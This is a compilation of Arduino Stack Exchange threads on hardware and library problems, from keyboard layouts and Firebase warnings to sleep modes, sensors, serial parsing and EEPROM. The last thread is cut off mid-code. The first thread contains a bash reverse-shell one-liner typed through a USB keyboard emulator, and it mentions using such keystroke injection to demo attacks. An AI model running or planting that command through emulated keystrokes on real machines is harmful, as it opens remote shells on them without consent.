text:
Why do DigiKeyboard.print and println change my string?
GOAL: I'm trying to use DigiKeyboard library but I'm facing a problem when I use print or println with character different from alphanumeric ones.
PROBLEM : I import the library as I've seen on others projects:
#include "DigiKeyboard.h"

Then I try to output this string "bash -i >& /dev/tcp/127.0.0.1/80 0>&1" using print method:
DigiKeyboard.print("bash -i >& /dev/tcp/127.0.0.1/80 0>&1");

But the output is messed up:
bash 'i :/ -dev-tcp-127.0.0.1-80 0:/1

Could you explain how can I solve?
SOLUTION: changing my keyboard layout to English(US) solved my problem.
Anyway I have still a doubt. How can I make the library work also with others layouts?

Please tell us which library you use and where you got it from. Tell us the exact output. Add the extra information to your question. Are ascii characters converted to keyboard scan codes? Perhaps that conversion is not complete yet.

What language is used for the keyboard?

Italian but now I m trying to change layout

The problem is your keyboard layout.
The USB HID protocol was originally intended to include keyboard layout information in it (country code selection in the descriptor) however no one ever used it.  All keyboards have the same layout, but manufacturers just print different letters on the keys for different countries.  It's down to the operating system to map those key codes to actual characters using the keyboard layout selected in the operating system. (The original intended method of operation would have allowed keyboards to select their own language instead of having a single global one in the OS, but people do like to choose the cheapest option...).
The Arduino is effectively a US keyboard. The letters and numbers you "print" are first converted to their keyboard codes as they would appear on a US keyboard. Those keyboard codes are then converted back to letters and numbers using your Italian keyboard layout selected in the operating system.
You would get the same effect if you got a US keyboard and plugged it in. Pressing the keys for the symbols as printed on the keys themselves you give you the same wrong characters. Pressing the keys that you are used to pressing and ignoring what is printed on the keys would give you the right symbols.
So you have a number of options:

Use a US keyboard globally on your computer, which would break your existing keyboard layout, or
Modify the Arduino core to map the characters using an Italian keymap, or
Work out which characters you should be sending to get the right ones for your keymap, and change your code to send those characters instead.

Of the three I'd go for option 3.  Option 1 would be too annoying, option 2 would be undone with the next Arduino core update and you'd never remember what you did.  So spend some time and work out which characters, when you print them, result in which characters being typed.

You might check out my fork of DigistumpArduino library (https://github.com/rsrdesarrollo/DigistumpArduino) with full keyboard layouts support.

The keyboard layout is the issue here. To make a sketch that will work independently of the keyboard layout, my current strategy is to use the Alt+ASCII code method (press and hold ALT, then enter the ASCII code of the character on the numeric keypad, then release ALT).
I'm going to implement that in a fork of DigiStumpArduino's print/println function. This will cost performance (5 keystrokes insted of 1 to 3) but should be completely layout-independent.
I'll definitely make the code freely available if/when it works.

Isn't this input method Windows-specific? The OP doesn't seem to be using Windows.

That's mostly correct, well spotted! However, on many Linux desktops, Shift+Ctrl+U, then the Unicode character code, then Enter will work.
I use Linux a lot but most of the systems I need this for (to demo cyber attacks) are running Windows.
Thanks for pointing this out - gong to the Alt+Num methods removes the keyboard layout dependency but intruduces an OS dependency. This may or may not be an issue for many use cases as most exploits are already OS dependent but one would not necessarily know or control the target's keyboard language.


text:
Error running FirebaseDemo on nodeMCU
So I followed the guide on GitHub to run this demo which compiles and runs. It does warn of some deprecations and such in the firebase libraries :

In member function 'const String& FirebaseArduino::error()'  warning:
  returning reference to temporary [-Wreturn-local-addr]
       return error_.message().c_str();

It is failing to update my firebase database and the firebase error message is not being displayed, seems to be because of the above error. But this does make it complicated to debug...
Can someone please help me get around this?
Appreciate any feedback or pro tips :)
UPDATE
So found an issue on GitHub that solved connecting to the database. Fingerprint update apparently... https://github.com/FirebaseExtended/firebase-arduino/issues/369 but still would like to solve the firebase library error so that everyone can get legible error messages back when using it.

It does warn of some deprecations and such in the firebase libraries :
In member function 'const String& FirebaseArduino::error()' warning: returning reference to temporary [-Wreturn-local-addr] return error_.message().c_str();

i also get some depreciation like
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseObject.cpp: In member function 'bool FirebaseObject::isNullString(const String&) const':
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseObject.cpp:67:57: warning: 'const char* ArduinoJson::Internals::JsonVariantCasts<TImpl>::asString() const [with TImpl = ArduinoJson::JsonVariant]' is deprecated (declared at /home/praz/Arduino/libraries/ArduinoJson-5.13.1/src/ArduinoJson/Deserialization/../JsonVariantCasts.hpp:28): use as<char*>() instead [-Wdeprecated-declarations]
   return variant.is<const char *>() && variant.asString() == NULL;
                                                         ^
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseObject.cpp: In member function 'ArduinoJson::JsonVariant FirebaseObject::getJsonVariant(const String&) const':
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseObject.cpp:87:26: warning: 'ArduinoJson::JsonObject& ArduinoJson::Internals::JsonVariantCasts<TImpl>::asObject() const [with TImpl = ArduinoJson::JsonVariant]' is deprecated (declared at /home/praz/Arduino/libraries/ArduinoJson-5.13.1/src/ArduinoJson/Deserialization/../JsonVariantCasts.hpp:23): use as<JsonObject>() instead [-Wdeprecated-declarations]
     json = json.asObject().get<JsonVariant>(start);
                          ^
/home/praz/Arduino/libraries/firebase-arduino-master/src/throw_out_of_range.cpp:6:28: warning: unused parameter 'str' [-Wunused-parameter]
 void __attribute__((weak)) __throw_out_of_range(const char* str) {
                            ^
In file included from /home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseCloudMessaging.cpp:1:0:
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseCloudMessaging.h:82:79: warning: type qualifiers ignored on function return type [-Wignored-qualifiers]
   const void AddToJson(const FirebaseCloudMessage& message, JsonObject& json) const;
                                                                               ^
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseCloudMessaging.cpp:80:60: warning: type qualifiers ignored on function return type [-Wignored-qualifiers]
     const FirebaseCloudMessage& message, JsonObject& json) const {
                                                            ^
/home/praz/Arduino/libraries/firebase-arduino-master/src/Firebase.cpp: In member function 'int FirebaseRequest::sendRequest(const string&, const string&, char*, const string&, const string&)':
/home/praz/Arduino/libraries/firebase-arduino-master/src/Firebase.cpp:76:1: warning: no return statement in function returning non-void [-Wreturn-type]
 }
 ^
/home/praz/Arduino/libraries/firebase-arduino-master/src/Firebase.cpp: In member function 'void FirebaseStream::startStreaming(const string&, const string&, const string&)':
/home/praz/Arduino/libraries/firebase-arduino-master/src/Firebase.cpp:89:48: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
   analyzeError("STREAM", status, path_with_auth);
                                                ^
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'String FirebaseArduino::push(const String&, const ArduinoJson::JsonVariant&)':
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:65:79: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
   int status = req_.get()->sendRequest(host_, auth_, "POST", path.c_str(), buf);
                                                                               ^
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:65:7: warning: unused variable 'status' [-Wunused-variable]
   int status = req_.get()->sendRequest(host_, auth_, "POST", path.c_str(), buf);
       ^
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'void FirebaseArduino::set(const String&, const ArduinoJson::JsonVariant&)':
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:94:65: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
   req_.get()->sendRequest(host_, auth_, "PUT", path.c_str(), buf);
                                                                 ^
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'void FirebaseArduino::getRequest(const String&)':
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:101:60: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
   req_.get()->sendRequest(host_, auth_, "GET", path.c_str());
                                                            ^
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'virtual void FirebaseArduino::remove(const String&)':
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:147:63: warning: deprecated conversion from string constant to 'char*' [-Wwrite-strings]
   req_.get()->sendRequest(host_, auth_, "DELETE", path.c_str());
                                                               ^
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp: In member function 'virtual const String& FirebaseArduino::error()':
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseArduino.cpp:201:33: warning: returning reference to temporary [-Wreturn-local-addr]
   return error_.message().c_str();
                                 ^
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseHttpClient_Esp8266.cpp: In member function 'virtual void FirebaseHttpClientEsp8266::begin(const string&)':
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseHttpClient_Esp8266.cpp:47:50: warning: 'bool HTTPClient::begin(String, String)' is deprecated (declared at /home/praz/.arduino15/packages/esp8266/hardware/esp8266/2.4.2/libraries/ESP8266HTTPClient/src/ESP8266HTTPClient.h:156) [-Wdeprecated-declarations]
     http_.begin(url.c_str(), kFirebaseFingerprint);
                                                  ^
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseHttpClient_Esp8266.cpp: In member function 'virtual void FirebaseHttpClientEsp8266::begin(const string&, const string&)':
/home/praz/Arduino/libraries/firebase-arduino-master/src/FirebaseHttpClient_Esp8266.cpp:51:80: warning: 'bool HTTPClient::begin(String, uint16_t, String, String)' is deprecated (declared at /home/praz/.arduino15/packages/esp8266/hardware/esp8266/2.4.2/libraries/ESP8266HTTPClient/src/ESP8266HTTPClient.h:157) [-Wdeprecated-declarations]
     http_.begin(host.c_str(), kFirebasePort, path.c_str(), kFirebaseFingerprint);
                                                                                ^
Compiling library "ESP8266HTTPClient"

to fixed that, go to Preferences in Compiler Warnings choose as Default. it ignored all warning in depreciation, don't forget to update your library to get Firebase Fingerprint has changed on 2 Aug 2018.
Uploaded your sketch again, your should be get data like

the compiler warning settings is only about reporting them to console

@Juraj it's up to the OP, he needs it or not, the most important thing he need the latest Firebase Fingerprint has changed to 2 Aug 2018

It is quite right to tell you that.  The offending code is here:
const String& FirebaseArduino::error() {
  return error_.message().c_str();
}

In that, it calls the message() function on the error_ object to get a std::string object, which it then gets the C string data from with c_str().  It then creates (due to the return type) a temporary String object and copies the C string data into it.
A reference to that temporary String object is then returned and the String is then destroyed immediately.  That's bad. The returned reference now points to nothing in particular.
It wouldn't surprise me if there were other places where that kind of thing happens. Which would explain why things aren't necessarily working right.
You should raise an issue on the Github issues page for that project with the author.

Thanks Majenko, will try and make a strong reference updated with the temporary one and return that rather?

@AMAN77 That will fix that one issue - but as I say in my answer if that one exists chances are there are other hidden, insidious, problems of a similar nature.

source: Stack Exchange

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/

sort: votes


text:
Converting a standard setup/loop sketch to a low power application?
Suppose I have a typical setup/loop style sketch, such as this one which turns on an LED when a button is pressed.
How do I modify this so that it enters low power mode, awakes on the button press, and puts itself back into low power mode when its logic has finished?
void setup() {
  pinMode(ledPin, OUTPUT);
  pinMode(buttonPin, INPUT);
  // desired: enter low power mode here
}
void loop() {
  int buttonState = digitalRead(buttonPin);
  // desired: awake from low power mode here
  if (buttonState == HIGH) {
    digitalWrite(ledPin, HIGH);
    delay(1000);
    digitalWrite(ledPin, LOW);
  }
  // desired: back to low power mode here
}

For which arduino board?

@Jot, I'm open to input about any of them.  If some are especially good for low power applications I would be interested in hearing about that.

Some are. For example a "bare bones" atmega328p. See: https://www.gammon.com.au/power Some Arduino MKR boards can be powered with Lipo battery. The ARM M0+ processor of the MKR boards can go into sleep mode, but I don't know if there is a library for that which supports all modes. I also don't know which MKR boards use very little current for the rest of the components of the board.

This sketch is almost identical to the powerDownWakeExternalInterrupt.ino sketch that comes with the LowPower Library. I'm using INPUT_PULLUP and a N.O. push button switch to trigger it to wake up and turn an LED on.
#include "LowPower.h"
const byte wakeUpPin = 2;

// Just a handler for the pin interrupt.
void wakeUp(){}

void setup(){

  // Configure wake up pin as input.
  // This will consumes few uA of current.
  pinMode(wakeUpPin, INPUT_PULLUP);
  pinMode(LED_BUILTIN, OUTPUT);
  digitalWrite(LED_BUILTIN, LOW);

}

void loop(){

  // Allow wake up pin to trigger interrupt on low.
  attachInterrupt(0, wakeUp, LOW);

  // Enter power down state with ADC and BOD module disabled.
  // Wake up when wake up pin is low.
  LowPower.powerDown(SLEEP_FOREVER, ADC_OFF, BOD_OFF);

  // Disable external pin interrupt on wake up pin.
  detachInterrupt(0);

  // Do something here.
  digitalWrite(LED_BUILTIN, HIGH);
  delay(2000);
  digitalWrite(LED_BUILTIN, LOW);

}

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/


text:
Thermistor doesn't work
Connecting all like shows the image, thermistor shows, that I'm going to be burnt:

The code is simple:
#define analogPin  A0 //the thermistor attach to
#define beta 4090
#define resistance 10

void setup()
{
  Serial.begin(9600);
}

void loop()
{
  //read thermistor value
  long a =analogRead(analogPin);
  //the calculating formula of temperature
  float tempC = beta /(log((1025.0 * 10 / a - 10) / 10) + beta / 298.0) - 273.0;
  float tempF = 1.8*tempC + 32.0;
  Serial.print("Temp: ");

  Serial.print(tempC);

  Serial.print("  C");

  Serial.print("Fahr: ");
  Serial.print(tempF);
  Serial.print(" F");
  delay(200); //wait for 100 milliseconds
}

Do I have a wrong thermistor or wrong code?

There are no magicians here. What model/type of thermistor have you connected? What the thermistor's parameters are?

The series resistance is 220 Ohms (Red, Red, Brown).
You also need to take into account the thermistor resistance at 25C. Assuming its 10K. Hence choosing a 10K series resistance will make the calculations easier.
     int THERMISTORNOMINAL =  10000;
     int SERIESRESISTOR = 10000;
     int TEMPERATURENOMINAL = 25;

     a = 1023 / a - 1;
     a = SERIESRESISTOR / a;
     tempC = a / THERMISTORNOMINAL;     // (R/Ro)
     tempC = log(tempC);                  // ln(R/Ro)
     tempC /= Beta;                   // 1/B * ln(R/Ro)
     tempC += 1.0 / (TEMPERATURENOMINAL + 273.15); // + (1/To)
     tempC = 1.0 / steinhart;                 // Invert
     tempC -= 273.15;                         // convert to C

Could you make a full working sketch? This code snippet is confusing because it does not show if the variables are a float or integer. Add a link to a source for your calculation as well.

I used 10K. The image is wrong.


text:
Arduino secure two way communication over radio
I would like to implement a secure communication channels between 2 arduinos communicating over 433 mhz radio modules (to be more precise using the barebone Atmega 326 chips).
I know that the lack of resources are a problem with the Atmega chips. The best starting point I could find was this library, which never got written:
https://forum.arduino.cc/index.php?topic=314845.0
The way I see it it does not matter what kind of encoding we use if an attacker can capture and replay that OTA, there has to be a 2nd component between the devices which is not known for an attacker and changes the same way like a DS based timer. If a client could encrypt its messages using key=timeXpassword key->encrypt(datatobesent) then the server could decrypt it the same way if it arrived in a proper time period like +-/5 seconds where the time does not have to be the current accurate time just a clock which is in sync between the devices. When the message is received by the server it would calculate 5 different data possibilities for the 5 seconds and look into a decrypted data for certain string to determine if that is a VALID data packet.
For this again there would be the need of an external timer circuit like the DSXXXX series because the internal timer in the chip is not reliable/overflows after a while.
Any other ideas for secure communication?

Since you have two-way communication you can be far more cunning that just including a timestamp.  You can use real authentication.
The idea here is the "sender" first sends a request to the "receiver" saying "Let me in".
The "receiver" then sends back a message saying "Ok, here's your session key".
The "sender" then encrypts the connection credentials using that session key in some way (or encrypts it in some way including that key with the credentials) - ideally with a trapdoor hash algorithm, and sends it to the "receiver".
The "receiver" then does the same operation with the data it expects the "sender" should send, and compares it with what it received.
If they match, then the "receiver" can allow communication from that "client". The "receiver" would then send a new session key to the "sender" which would then be used to encrypt all communication thereafter. That key must be different to the first, and would need to use symmetric encryption.
This all means that:

The authentication key changes every time - there is no chance of "replaying" it
The communication key changes with each session, so again there is no chance of replaying messages at a later data, since the key will be wrong.

Yes, there are a lot of overheads with this method, but it's secure.
The authentication methodology is basically the Challenge Handshake Authentication Protocol (server sends challenge, client responds with credentials along with challenge, trapdoor encrypted, server compares with its own encryption and allows or denies).  The rest is basic encryption of your choosing using the unique key the remote end of the connection provides.

You may want to take a look at my RC4-with-diffusion algorithm RC4D which is very resource friendly as it takes less than 500 bytes of flash space (when encrypting inplace) and is much faster than AES128 on an Arduino.

RC4 should no longer be used for cryptographic applications; it's outmoded.


text:
MAX232 chip fails to initialize properly with arduino
I have connected a MAX232 chip for RS232 communication with my Arduino.
The chip input is connected to Arduino Tx and it is getting power from external 3.3 volt dc power source.
My Arduino is also getting power from 12 volt DC external power source.
While I connect and start the device, the PC is not getting any data until I reboot the MAX232.
How do I make a robust setup so that after I turn the powers on, it starts transmitting. Even if connection to my PC has been lost.

MAX232 is not a microprocessor, and does not require initialization. It's really just an inverting level converter. Can you show a schematic of how you have it connected? Also, the typical MAX232 is a 5V part, so 3.3V powering it won't be reliable.

Agreed - for 3.3V operation you need to use the MAX3232.

Datasheet for MAX232

Section 7.3 Recommended Operating Conditions VCC Supply voltage
MIN=4.5, NOM=5, MAX=5.5 (V)

The MAX232 has a minimum supply voltage of 4.5V, typically expecting 5V.
There are other alternatives, such as the MAX3232, which supports either 3.3V or 5V supply voltage.

Thanks,  I also found that error in datasheet about 5 volt power. But is there any startup sequence?

Say i have to turn 12 volt power first, then 3.3 and then connect it to the pc. Is there any logic behind proper startup sequence?
I am using different power sources.

The MAX232 chip has no 12V supply. There is no startup sequence.

I have tried whatever I found here, but still I am unable to send data from Arduino to pc via MAX232. I have only connected the TX line, ground from Arduino to MAX232 chip, thats what i need actually (Arduino here is not supposed to get any data).

All common grounds are okay. Power lines are okay. Connections are too properly done.

I figured out the problem. There was no delay in my code. A 100 ms delay solved the issue. There is some specific switching frequency for the MAX232.

The 5v vcc also needs a resistor of some value to prevent the chip from overheating.


text:
7-12V Power supply + USB
Im connecting a servo to my Arduino Uno Rev.3. The general recommendation is to put a 7V -12V power supply for servos as far as I understand. However I’d like to combine it with an USB to a computer since I use it to flush data from a different probe on the Arduino to my PC.

Will it be safe to use both a AC/DC adapter and serial bus?
Will it use the USB for power draw even if adapter is connected?

Arduino Uno supports external power supply and USB at the same time. There is automatic switch will re-direct the power feed.
so, your answer to your first question is YES.
and the second, if you connected the external power supply, USB part won't be used for power feeding through your servo motor. But, this won't still guarantee you can feed you servo motor safe and sound. Because, you are again limited to some current around 1A. It is still up to the specs of your motor.

You will see that the Servos have 3 wires [GND, Power, and Data/Signal]. You can connect your external power supply to GND and Power of the servos, and connect the GND and Signal wires from the Servos to the Arduino.
By connecting the Grounds of the Arduino and Servos together, they share the same 0V reference and you will not damage either by powering the Servos from a higher voltage and the Arduino from USB.
It is not necessary to connect the Arduino Vin or barrel jack to the external power supply. Look at the Servos+power supply as one independent unit, and the Arduino+USB/Computer as a separate independent unit, and the only things connected between them should be GND and the servo signal/data wire.


text:
Problem with encoder count on a segway handlebar
I'm trying to implement a steering mechanism for a segway project.
The idea is to sense the tilt of the segway's handlebar with an incremental rotary encoder (omron e6j-cwz 600ppr). This way when I turn the bar to the left or right the segway turns too.
I'm using a Teensy 3.2 with the arduino IDE.
To drive the motors I use PWM.
The pulse limits are the calibrated values for +/- 100% (+/- 24V) input. The pulse range is 1.0 to 2.0ms, with 1.5ms as the zero value.
Here is a picture of the turning mechanism.

The problem is that, the movement of the handle bar is not very smooth and sometimes after tilting the handlebar and returning it to the straight position, the count never really goes back to 0, but some value around -6 to 6 counts and sometimes even -15 to 15 counts.
So the segway tries to turn even though the bar is straight.
The code I'm using to sense the tilt and set the motors is:
//Turn encoder
#define c_TurnEncoderPinA 15
#define c_TurnEncoderPinB 14
#define TurnEncoderIsReversed
volatile bool _TurnEncoderBSet;
volatile int _TurnEncoderTicks = 0;
/** Turn position */
int TurnAngular = 0;

/** Proportional gain */
int kp = 55;

/** voltage to the motor*/
float vol = 0;
float aux;
/** calulated pwm pulse*/
float uy = 0;

/**Left motor control*/
int motorL=9;
/**Right motor control*/
int motorR=10;

//Mapping voltage to pwm (Mc 160 controller)
float  p1 = -25.44, p2 = 0.1894, p3 = 146.6, p4 = -0.2874, p5 =  -480, p6 =  1500; //pwm3

//Discrete time values
const int samplingTime = 1000*10; // 10000 microseconds = 10ms
unsigned long previousTime, currentTime, timeDifference;
int estimationTimeCount = 1;

void setup() {
  delay(3000);
  Serial.begin(115200);
  delay(2000);
  previousTime = micros();
  // Turn encoder
  pinMode(c_TurnEncoderPinA, INPUT_PULLUP);      // sets pin A as input
  pinMode(c_TurnEncoderPinB, INPUT_PULLUP);      // sets pin B as input
  attachInterrupt(digitalPinToInterrupt(c_TurnEncoderPinA), HandleTurnMotorInterruptA, RISING);

  /*Initiate Output*/
  analogWriteResolution(11);
  pinMode(motorR,OUTPUT);
  pinMode(motorL,OUTPUT);
  analogWrite(motorR, 1500);
  analogWrite(motorL, 1500);

Serial.println("Start...");
}

void loop() {
  currentTime = micros();
  timeDifference = currentTime - previousTime;
  if (timeDifference > samplingTime)
  {
    previousTime = currentTime;
    sampleEncoders();
    setMotors();
    printData();
    estimationTimeCount++;
  }
}

void sampleEncoders() {
  TurnAngular = _TurnEncoderTicks; //update encoder reading every 10ms.
}

float turn(){
  if(TurnAngular<=6 && TurnAngular>=-6)
  {
    return 0;
  }
  else
  {
   //the voltage is calculated with a proportional gain
   //times the angle of the encoder in radians.
    return (kp*TurnAngular*(2*pi/(pprT)));
  }
}

void setMotors() {
    vol = turn();

    // this two lines map the calculated voltage to the pwm
    // in a range of 1000 to 2000.
    aux = (vol+0.01143)/13.13;
    uy = (int) p1*pow(aux,5) + p2*pow(aux,4) + p3*pow(aux,3) + p4*pow(aux,2) + p5*(aux) + p6;
    uy = constrain(uy, 1000,  2000);

    // this is just and idea I had to counter the problem.
    // if the control is within +/-50 pulses from 1500
    // set the pulse to 1500, and the last saved value of the count to 0.
    // every 2.5 sec if the condition in met, then also reset the actual
    // count of the encoder
    if (uy < 1550 && uy > 1450)
    {
      uy = 1500;
      TurnAngular = 0;
      if ( estimationTimeCount%250 == 0 && _TurnEncoderTicks != 0)
      {
        _TurnEncoderTicks = 0;
      }
    }
  }

  /**
 Left wheel (L): forward from 1500 to 1000, backward from 1500 to 2000.
 Right wheel (R): forward from 1500 to 2000, backward from 1500 to 1000.
  **/
 //set uy to each wheel to make the segway turn.
  analogWrite(motorR,uy);
  analogWrite(motorL,uy);
}

void printOutput()
{
  Serial.print("tout(");
  Serial.print(estimationTimeCount);
  Serial.print(", :) = [");
  Serial.print(TurnAngular);
  Serial.print(", ");
  Serial.print(_TurnEncoderTicks);
  Serial.print(", ");
  Serial.print(currentTime*pow(10,-6));
  Serial.println("];");
}

void HandleTurnMotorInterruptA()
{
  // Test transition; since the interrupt will only fire on 'rising' we don't need to read pin A
  _TurnEncoderBSet = digitalRead(c_TurnEncoderPinB);   // read the input pin
  // and adjust counter + if A leads B
  #ifdef TurnEncoderIsReversed
    _TurnEncoderTicks -= _TurnEncoderBSet ? -1 : +1;
  #else
    _TurnEncoderTicks += _TurnEncoderBSet ? -1 : +1;
  #endif
}

The original code for the encoder count can be found here.
In the code I put one of my own but it fails sometimes, I set a 0 voltage to the motors is the count is between +/- 6 counts.
A secondary issue is that when the bar tilt's to for example +7 counts the control is to aggressive, so I keep trying to find an ideal proportional gain.
Lastly I did not add the code for the balance action of the segway, mainly because it is not the issue and the control effort is just set to 0 while I try to fix the problem. Also, it would be too long.
What kind of solution would you guys think of?
I've edited the turn function like this:
float turn(){
int8_t TurnVal = 0;
  //deadZoneSize = 6
  if(TurnAngular <= deadZoneSize && TurnAngular >= -deadZoneSize)
  {
    return 0;
  }
  else
  {
    if (TurnAngular<0)
    {
      TurnVal = TurnAngular + deadZoneSize;
    }
    else
    {
      TurnVal = TurnAngular - deadZoneSize;
    }
    Serial.println(TurnVal);
    return (kp*TurnVal*(2*pi/(float)(pprT)));
  }

I can't find a way to fix the error between the actual straight position and the measured straight position (0 count). Sometimes after some movement of the bar, the actual straight position lies outside the dead zone, and the segway wants to turn anyways.
Here is an illustration.

I'd suggest using a Absolute rotary encoder, or a simple potentiometer. Those won't suffer from missing steps.

I could look into an absolute encoder, but I just want to see if it can fix it by code.
The project had a potentiometer before, but the task I'm ask for is to use an encoder, just my luck.

What model of Arduino are you using? I don't think there are any that support pins 14 and 15 for RISING edge external interrupts. Could you use pin 2 for c_TurnEncoderPinA instead of 14?

I'm using a Teensy 3.2, all digital pins have interrupt capability.

What you have come up with on your own is almost what is called a "dead zone", where the angle between -6 and 6 is ignored.
All you need to do now is not reference the actual angle when computing how much to turn, but to reference the distance from the edge of the dead zone:
const uint16_t deadZoneSize = 6;
[...]

float turn(){
  unint8_t TurnVal = 0;
  if(TurnAngular<=deadZoneSize && TurnAngular>=-deadZoneSize)
  {
    return 0;
  }
  else
  {
   //the voltage is calculated with a proportional gain
   //times the angle of the encoder in radians.
    if (TurnAngular<0) {
      TurnVal = TurnAngular + deadZoneSize)
    } else {
      TurnVal = TurnAngular - deadZoneSize)
    }
    return (kp*TurnVal*(2*pi/(pprT)));
  }
}

Thanks, that's actually an improvement, but it doesn't really solve the problem.
Now the whole dead zone moves away from the straight position. A very small tilt on one side gets you out of the zone, and a relatively large tilt on the other side does too.
This happens because every time the bar is moved and then returned to the straight position, the counter (_TurnEncoderTicks) never goes to 0, so the error gets worse for every movement of the bar. I'll answer the post with an illustration.

What prevents you from setting that variable to zero when you need to?

Well, I believe its because I don't have a reference, in code I can never really tell what new number (the count) corresponds to the straight position.

Ah, so it seems you are missing counts, otherwise zero would stay zero. What if you increase the sampling time? The line uy = (int) p1*pow(aux,5) + p2*pow(aux,4) + p3*pow(aux,3) + p4*pow(aux,2) + p5*(aux) + p6; takes a whole lot of cycles to use pow() with float types. Is there a way you could simplify that algorithm to integer math?

I could increase the sample rate, but it will mess up the whole balance part.

I could also change the aux variable into an int. Like int aux = static_cast<int>(vol).

Definitely missing counts, I was just thinking it could be a mechanical issue.

Would you try increasing the sample time (thus decreasing the sample rate) to see if that affects missed counts?


text:
Are any Arduino boards especially suited for low-power operation?
The Arduino project has done an excellent job in providing a portable software interface to a number of different hardware systems.
Are there any Arduino-compatible systems which are especially applicable for very low power battery-based operation?  Specifically, in an application where a device wakes up periodically (e.g. for data collection) or activated by a user button press?

Related to your previous question: https://arduino.stackexchange.com/questions/55813/converting-a-standard-setup-loop-sketch-to-a-low-power-application

Technically you can use any arduino for that purpose with some modifications. I recommend to go with an arduino Pro Mini and remove the LED and the voltage regulator.
But if you don't need so much I/O you can go with a digispark Attiny board.

To program a pro-mini you need a separate usb-to-serial adapter for programming (or a spare Arduino UNO)


text:
How can i split an incoming data in arduino?
So  for my arduino project I need to split this line of servos data
180 0 0 0 90 90 0

Which would be parsed as:
servo position1 servo positin2 servo positin3 ...servo position 6

in to separate servo values, but i am new at arduino and c typе languges so a little bit help will be very good. So my question is how can I split these values up?

You can use parseInt() function as well. It looks for next valid integer after one delimiter.
https://www.arduino.cc/en/Tutorial/ReadASCIIString

Scanning string formatted data can be done with sscanf (docs). It takes format strings just like printf() does, but instead of printing formatted data, it parses formatted data into the given variables.
For example,
String input = "180 0 0 0 90 90 0";
//parse input (6 integers)
int servoPositions[6];
int numScanned = sscanf (input.c_str(),"%d %d %d %d %d %d",
    &servoPositions[0], &servoPositions[1],&servoPositions[2],
    &servoPositions[3], &servoPositions[4],&servoPositions[5]);

//print positions again
Serial.println("Parsed servo positions:");

for(int i=0; i < 6; i++) {
    Serial.print("position ");
    Serial.print(i);
    Serial.print(": ");
    Serial.println(servoPositions[i]);
}

Outputs
Parsed servo positions:
position 0: 180
position 1: 0
position 2: 0
position 3: 0
position 4: 90
position 5: 90


text:
Wemos D1 EEProm put/get not getting correct value
Hey all I have the following code in my Arduino IDE:
#include <EEPROM.h>
#include <ArduinoJson.h>

bool debuggin         = true;
int brightness        = 255;
int ambientLight      = 30;
struct RGBLA {
  uint8_t R;
  uint8_t G;
  uint8_t B;
  uint8_t L;
  uint8_t A;
};

void setup() {
  Serial.begin(9600);

  while (!Serial) {
    ; // wait for serial port to connect. Needed for Leonardo only
  }

  EEPROM.begin(512);
  readSavedSettings();
  updateEEProm(255,255,255,200,35,true,false);
}

RGBLA readEEProm() {
  int addr = 0;
  RGBLA customVars;

  EEPROM.get(addr, customVars);
  return customVars;
}

void readSavedSettings() {
  RGBLA returnedVars = readEEProm();
  if (debuggin) { Serial.println("START readSavedSettings"); }

  if (returnedVars.A == 00 || returnedVars.A == 0) {
    if (debuggin) { Serial.println("'A' not found! Default 30"); }
  } else {
    ambientLight = returnedVars.A;
    if (debuggin) {
      Serial.print("'A' found! ");
      Serial.println(ambientLight);
    }
  }

  for(uint8_t i = 0; i < 3/*strip.numPixels()*/; i++) {
    if (debuggin) {
      Serial.print("LED ");
      Serial.print(i);
      Serial.print(" set to: R: ");
      Serial.print((uint8_t)returnedVars.R);
      Serial.print(", G: ");
      Serial.print((uint8_t)returnedVars.G);
      Serial.print(", B: ");
      Serial.println((uint8_t)returnedVars.B);
    }
  }

  if (debuggin) {
    Serial.println("Turned off RGB LEDS");
    Serial.println("END readSavedSettings");
  }
}

void updateEEProm(uint8_t R,
                  uint8_t G,
                  uint8_t B,
                  uint8_t L,
                  uint8_t A,
                  bool saveRGBL,
                  bool saveA) {
  int addr = 0;
  RGBLA customVars;

  //Save old json before clearing EEProm
  EEPROM.get(addr, customVars);

  //Clear EEProm
  for (unsigned int i = 0; i < EEPROM.length(); i++) {
    EEPROM.write(i, 0);
  }

  if (saveRGBL) {
    //Get A value so that we can save it the same value
    DynamicJsonBuffer jsonBuffer(JSON_OBJECT_SIZE(5));
    JsonObject& root = jsonBuffer.createObject();

    if (debuggin) {
      Serial.print("Old JSON:");
      Serial.print(" R: ");
      Serial.print((uint8_t)customVars.R);
      Serial.print(" G: ");
      Serial.print((uint8_t)customVars.G);
      Serial.print(" B: ");
      Serial.print((uint8_t)customVars.B);
      Serial.print(" L: ");
      Serial.print((uint8_t)customVars.L);
      Serial.print(" A: ");
      Serial.println((uint8_t)customVars.A);
    }

    root["R"] = (uint8_t)R;
    root["G"] = (uint8_t)G;
